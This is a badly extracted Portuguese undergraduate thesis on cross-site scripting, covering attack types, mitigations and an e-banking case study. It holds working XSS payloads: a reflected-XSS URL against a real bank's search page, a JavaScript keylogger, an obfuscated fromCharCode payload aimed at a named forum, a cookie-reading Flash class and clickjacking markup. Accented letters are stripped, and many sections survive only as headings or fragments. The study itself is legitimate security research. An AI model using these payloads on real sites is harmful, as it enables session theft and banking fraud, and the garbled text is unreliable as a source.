Académique Documents
Professionnel Documents
Culture Documents
CENTRO DE INFORMTICA
Trabalho de Graduao
Recife PE
Novembro de 2009
Universidade Federal de Pernambuco
Centro de Informtica
Monografia apresentada ao
Centro de Informtica da
Universidade Federal de
Pernambuco como requisito
parcial para obteno do Grau de
Bacharel em Cincia da
Computao.
Recife PE
Novembro de 2009
II
Agradecimentos
III
Resumo
Esse trabalho tem como objetivo o estudo sobre o estado da arte do Cross-
Site Scripting e o desenvolvimento de um ataque a um servio de e-
banking para comprovar que essa vulnerabilidade pode comprometer
seriamente a segurana de qualquer pgina.
IV
Abstract
Considered the new Buffer Overflow, the work will be presented with the
Cross-Site Scripting "in the wild" and how this attack can be performed more
efficiently by using combinations of techniques that make this vulnerability
even more worrying. We will also discuss about preventive techniques.
This work aims to study the state of the art Cross-Site Scripting and
development of an attack on an e-banking service to confirm that this
vulnerability could seriously jeopardize the security of any page.
V
ndice de Figuras
VI
Sumrio
1. INTRODUO ..................................................................................................................... 8
2. CROSS-SITE SCRIPTING ................................................................................................... 9
2.1. Exemplos Encontrados In The Wild..................................................... 10
2.1.1 Cross-Site Scripting No Persistente (Reflected XSS)..................... 10
2.1.2 Cross-Site Scripting Persistente ....................................................... 14
2.1.3 Cross-Site Scripting Dom-Based ...................................................... 18
2.2. Expandindo Horizontes .......................................................................... 19
2.2.1 Tags Exploitveis e Event Handlers ................................................. 20
2.2.2 Imagens, Flash, PDF, e Outros. ....................................................... 20
3. PROTEGENDO-SE CONTRA ATAQUES. ............................................................................. 25
4. TCNICAS AVANADAS. ................................................................................................ 27
4.1 KeyLogger .............................................................................................. 27
4.2 Roubos de Passwords Salvos pelo Password Manager ......................... 27
4.4 Roubo do Histrico. ................................................................................ 28
4.5 Intranet Hacking, Port Scanning. ............................................................ 29
4.6 Clickjacking + XSS = Perfect Phishing.................................................... 29
4.7 XSS Shell/Beef ....................................................................................... 31
4.7.1 Canal XSS. ....................................................................................... 32
4.7.2 Servidor XSS Shell ........................................................................... 33
4.7.3 Beef .................................................................................................. 33
5. XSS EM E-BANKING, CASO DE ESTUDO. ..................................................................... 35
6. CONCLUSO ..................................................................................................................... 38
7. REFERNCIAS .................................................................................................................. 39
VII
1. Introduo
8
2. Cross-Site Scripting
9
DOM Based ocorre quando um cdigo JavaScript usa o parmetro
passado na URL para escrever na prpria pgina, e esse parmetro no uma
entidade HTML . O Cross-Site Scripting normalmente tem como objetivo o
acesso aos cookies do usurio. Com eles em mos, o atacante pode se passar
pelo usurio e, no caso de aplicaes e-banking, ter acesso a todas as
movimentaes bancrias. Uma das grandes (des)vantagens deste tipo de
ataque sua discrio,ou seja, a vtima no percebe que est sendo atacada.
1
http://www.xssed.com
10
Figura 1. Tela de busca do Banco do Brasil com o valor malicioso
Um possvel fluxo para esse ataque seria o envio, por parte do atacante,
de SPAMs para caixa de entrada de vrios usurios com alguma notcia
referente ao Banco do Brasil, seguido por uma URL como esta:
http://busca.bb.com.br/buscabb/busca/bus
ca?q=%22%3E%3Cscript%3ECODIGOMALICIOSO%3C%2Fscript%3E&x=12&
y=9. Como o usurio confia no domnio do banco, clicaria no link sem maiores
ressalvas.
A resposta do servidor a tal URL seria a prpria pgina do banco com
um cdigo malicioso embutido. Com esse cdigo sendo executado no browser
11
da vtima, o atacante poderia coletar todas as informaes desejadas e envi-
las para um servidor prprio, sem que o usurio percebesse qualquer anomalia
ou mesmo imaginasse que estava sendo vtima de um ataque.
1. Atacante manda SPAMs para diversas vtimas e uma delas clica no link
passado, lembrando que essa URL para a vtima de uma fonte
confivel.
2. Ao clicar a Vtima passar ser redirecionada para o site, e como
resposta receber a pgina da notcia mais o cdigo malicioso
embutido.
3. O navegador da vtima ir mandar informaes para o host do atacante,
como os cookie.
4. O atacante rouba a sesso da vtima.
12
Casos comuns de ocorrncias dessa vulnerabilidade so quando um
parmetro ou cookie so ecoados (o valor do parmetro/cookie escrito sem
filtros) na pgina, possibilitando ao atacante inserir scripts maliciosos. Um
exemplo ocorre quando o programador cria uma pgina para buscas. Tome-se
como url da busca http://www.infoconsumo.gov.br/busca/busca.asp
A busca pela palavra Inmetro ecoa na pgina. Ento para inserimos um cdigo
malicioso dever ser observado o cdigo fonte.
13
O que acarretar a execuo do script:
Ento, de modo geral, para encontrar XSS Reflected basta listar todos
os parmetros da pgina e colocar valores maliciosos para execuo de
scripts, tarefa essa feita por diversas ferramentas de deteco de
vulnerabilidades como, por exemplo, Acunetix2.
2
http://www.acunetix.com/
14
comentrio e quem visitar a pgina, desse modo, rodar o script. No exemplo
abaixo, h um exemplo de um frum que vulnervel a esse ataque[11].
16
O fluxo de ataque com XSS persistente (Fig. 9) pode ser descrito da
seguinte maneira:
1. O computador Atacante injeta cdigo malicioso, que vai persistir, em
algum site/cookie vulnervel.
2. A vtima acessa o site vulnervel
3. Como resposta da requisio a vtima recebe a pgina normal mais o
cdigo malicioso que est embutido no mesmo. O cdigo
executado pelo navegador da vtima.
4. O computador da vtima manda dados para o atacante.
O fluxo do ataque com XSS Persistente, Worm (Fig. 10) pode ser
descrito como:
17
1. O computador Atacante injeta cdigo malicioso em vrios profiles,
que vo persistir, em algum site vulnervel.
2. A vtima acessa o site vulnervel
3. Como resposta da requisio a vtima recebe a pgina normal mais o
cdigo malicioso que est embutido no mesmo. O cdigo
executado pelo navegador da vtima.
4. O computador da vtima injeta cdigo malicioso no seu prprio profile
e manda para todos os seus amigos o cdigo malicioso, que vai
persistir, agindo agora como computador atacante.
18
.
Figura 11. Fluxo de Ataque, XSS DOM-Based.
1. Atacante manda SPAMs para diversas vtimas e uma delas clica no link
passado, lembrando que essa URL para a vtima de uma fonte
confivel.
2. Ao clicar a Vtima passar ser redirecionada para o site, e como
resposta receber a pgina da notcia mais o cdigo malicioso que no
estar no cdigo fonte da pgina, e sim gerado dinamicamente.
3. O navegador da vtima ir mandar informaes para o host do atacante,
como os cookie.
4. O atacante rouba a sesso da vtima.
19
2.2.1 Tags Exploitveis e Event Handlers
H vrias tags HTML que permitem execuo de cdigo script entre elas
enumeram-se:
<object>
<img>
<applet>
<embed>
<form>
20
imagem, seja ela png, jpeg, etc., interprete-o como um script e o execute. Para
isso, basta abrir um editor de texto e inserir o seguinte trecho de cdigo:
<html>
<body>
<script>
alert(xss);
</script>
<body>
</html>
Salv-lo como html e depois renomear para .jpeg. Ao abrir com o Internet
Explorer 7 ou inferior acarretar na execuo do cdigo. Isso acontece devido
ao navegador no verificar a consistncia do arquivo. Logo, um atacante
poder executar cdigo arbitrrio e rodar um Cross-Site Scripting Permanente
em sites que permitam fazer upload de imagens.
Esse tipo de ataque, porm, no s ocorre no carregamento de
Imagens, mas tambm comum a insero de cdigo Javascript em Flash.
Para isso, o atacante pode burlar certos sites que no permitem tags HTML,
mas aceitam que usurios postem mensagens animadas com o uso de Flash.
Ento, para embutir cdigo Javascript em algum SWF (extenso de um arquivo
Flash) pode-se utilizar o MTASC3 que um compilador free e a funo
getURL() para executar o cdigo Javascript na mesma origem em que o SWF
se encontra. Um exemplo de cdigo seria o roubo do cookie:
class GetCookie {
function GetCookie() {
}
static function main(mc) {
getURL("javascript:alert(document.cookie)");
}
}
3
http://www.mtasc.org
21
mtasc.exe -swf getcookie.swf -main -header X:Y:T
getcookie.as
4
http://www.gnucitizen.org/blog/backdooring-quicktime-movies/
5
http://michaeldaw.org/md-hacks/backdooring-pdf-files
22
Database Connectivity (ODBC), que um middleware para acesso de banco
de dados do Windows. Com o simples comando:
var connections = ADBC.getDataSourceList();
23
O que acontece no trecho de cdigo acima a criao de um objeto, que um
PDF, no domnio do Gmail.com, logo temos acesso completo a todos os
cookies do Gmail.
Com a evoluo de mdias disponveis na Web, a simples anlise de
cdigo JavaScript no o suficiente, supracitado, pode-se inserir cdigo
malicioso em qualquer arquivo que o navegador consiga interpretar. Ento,
para sanar esse problema, precisamos analisar todo e qualquer contedo
presente na Web antes de disponibilizar para o usurio. Na prxima seo,
sero apresentadas tcnicas de mitigao do Cross-Site Scripting.
24
3. Protegendo-se Contra ataques.
25
XSS, permitindo que o atacante use a imaginao para obter novas formas de
vetores. Codificar os caracteres da mensagem utilizando encodings prprios
para URLs, utilizar funes como a eval() para executar o cdigo ou mesmo
inserir o XSS em trechos inesperados do HTML so algumas das tcnicas
mais utilizadas, para evitar os filtros. Em filtros case-sensitive, inverter os
caracteres maisculos e minsculos pode ser suficiente para contornar filtros
mais simples.
A melhor ferramenta que existe para proteo de XSS o NoScript[6],
um plug-in do Mozilla Firefox. O grande problema que para usurios comuns,
o uso do mesmo no mnimo irritante, j que para todo novo site visitado, o
mesmo ir perguntar se o cdigo JavaScript confivel ou no, o que no
acontece no filtro do IE 8. Abaixo uma tabela comparativa das protees que
as ferramentas mais utilizadas oferecem.
Tabela 1. Comparativo Entre Ferramentas de Proteo contra XSS
NoScript IE 8 CHROME
DOM-Based Sim No No
No Persistente Sim Sim Sim
Persistente No No No
26
4. Tcnicas Avanadas.
O que foi visto at agora foi como verificar ou executar scripts arbitrrios
em pginas vulnerveis, e normalmente usamos a funo alert() de JavaScript
para confirmar a vulnerabilidade. Entretanto, mostrar apenas uma tela de
dizeres Xss! no a melhor maneira de se apresentar uma vulnerabilidade
para os gestores do site, ento, iremos detalhar vrios tipos de ataques que j
foram encontrados in the wild.
4.1 KeyLogger
Uma das grandes vantagens do JavaScript que ele tem cerca de 100
event handlers, e um desses o onKeyPress(). Esse evento ativado toda vez
que uma tecla pressionada, permitindo ao atacante com apenas algumas
linhas de cdigo, descrito abaixo, saber quais caracteres foram digitados e
assim conseguir possivelmente dados sigilosos como, por exemplo, nome do
usurio/senhas.
var senha= ;
<script>document.onkeypress = function () {
senha += String.fromCharCode(window.event.keyCode);
} </script>
27
Sla.ckers.org6 e responsvel por explorar essa vulnerabilidade em um
determinado frum:
var xhReq=new XMLHttpRequest()
xhReq.open("GET",'/news.php?logout=yes',false)
xhReq.send(null)
document.body.innerHTML +="pre<iframe
src=\"http://www.hellboundhackers.org/fusion_infusions/shou
tbox_panel/shoutbox_archive.php/a'><script>setInterval(Stri
ng.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,10
1,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,
121,78,97,109,101,40,39,117,115,101,114,95,112,97,115,115,3
9,41,91,48,93,46,118,97,108,117,101,41),10000)</script>\"><
/iframe>sup"
Nesse ataque aparece uma das tcnicas mais utilizadas por atacantes
que o uso da funo Sring.fromCharCode(). Essa funo traduz Hexa para
caractere assim conseguindo vencer filtros que procurem/retirem as aspas.
6
http://sla.ckers.org/forum/read.php?2,131
28
4.5 Intranet Hacking, Port Scanning.
29
colocando o mouse em cima para o navegador mostrar na barra de status, com
o clickjacking poder ser feito com que esse clique seja manipulado para
executar qualquer ao na pgina a qual a vtima esteja acessando. As figuras
abaixo retratam exatamente o ataque, ao ver o link o usurio pe o mouse para
observar o destino, s que quando clicar ser redirecionado para qualquer
outra pgina. No caso utilizei a pgina do google.com.br.
30
19. <br></center><div style="position:absolute;bottom:0;">
20. <font style="font-family:arial;font-size:32px">Barra de Status...<br>
21. | <br>
22. V
23. </font></div></body> </html>
31
navegador da vtima. Para isso, ser detalhado cada componente desse
ataque para melhor entendimento.
Segue o fluxo:
1. O atacante manda um comando para o Servidor XSS Shell
2. O Servidor manda comandos para a vtima
3. O computador da vtima tanto pede instrues tanto como manda
resposta para o Servidor.
32
4.7.2 Servidor XSS Shell
4.7.3 Beef
9
http://www.torproject.org/
33
Figura 16. Beef GUI
34
5. XSS em E-banking, Caso de Estudo.
36
function updatebox(evt) {
mouseX=evt.pageX?evt.pageX:evt.clientX;
mouseY=evt.pageY?evt.pageY:evt.clientY;
document.getElementById('open').style.left=mouseX-2;
document.getElementById('open').style.top=mouseY-2;
}
</script>
<center>
<br>
<br>
<a href="http://www.bb.com.br"
onclick="updatebox(event)"><font
style="font-family:arial;font-
size:32px">http://www.bb.com.br</font></a>
</html>
37
6. Concluso
38
7. Referncias
[1] MILLER, Charles. The legitimate vulnerability market: the secret world of
0-day exploit sales. Disponvel em:
<http://securityevaluators.com/files/papers/0daymarket.pdf>. Acesso em:
30/11/2009.
[2] JAD The fast Java Decompiler. Disponvel em:
<http://www.softpedia.com/get/Programming/Debuggers-Decompilers-
Dissasemblers/JAD.shtml>. Acesso em: 30/11/2009.
[3] Mikeyy. Disponvel em: <http://www.xssed.com/news/88/17-year-
old_promoted_his_website_on_Twitter_with_harmless_XSS_worm>.
Acesso em: 30/11/2009.
[4] ClickJacking. Disponvel em: <http://www.milw0rm.com/exploits/7842>.
Acesso em: 30/11/2009.
[5] HIGGINS, Kelly Jackson. "CSRF Vulnerability: A 'Sleeping Giant'".
Disponvel em:
<http://www.darkreading.com/document.asp?doc_id=107651>. Acesso
em: 30/11/2009.
[6] Securing Your Web Browser: NoScript, CERT. Disponvel em:
<http://www.cert.org/tech_tips/securing_browser/#noscript>. Acesso em:
30/11/2009.
39
[10] Mozilla Foundation. JavaScript Security: Same Origin. Disponvel
em: <http://www.mozilla.org/projects/security/components/same-
origin.html>. Acesso em: 30/11/2009
40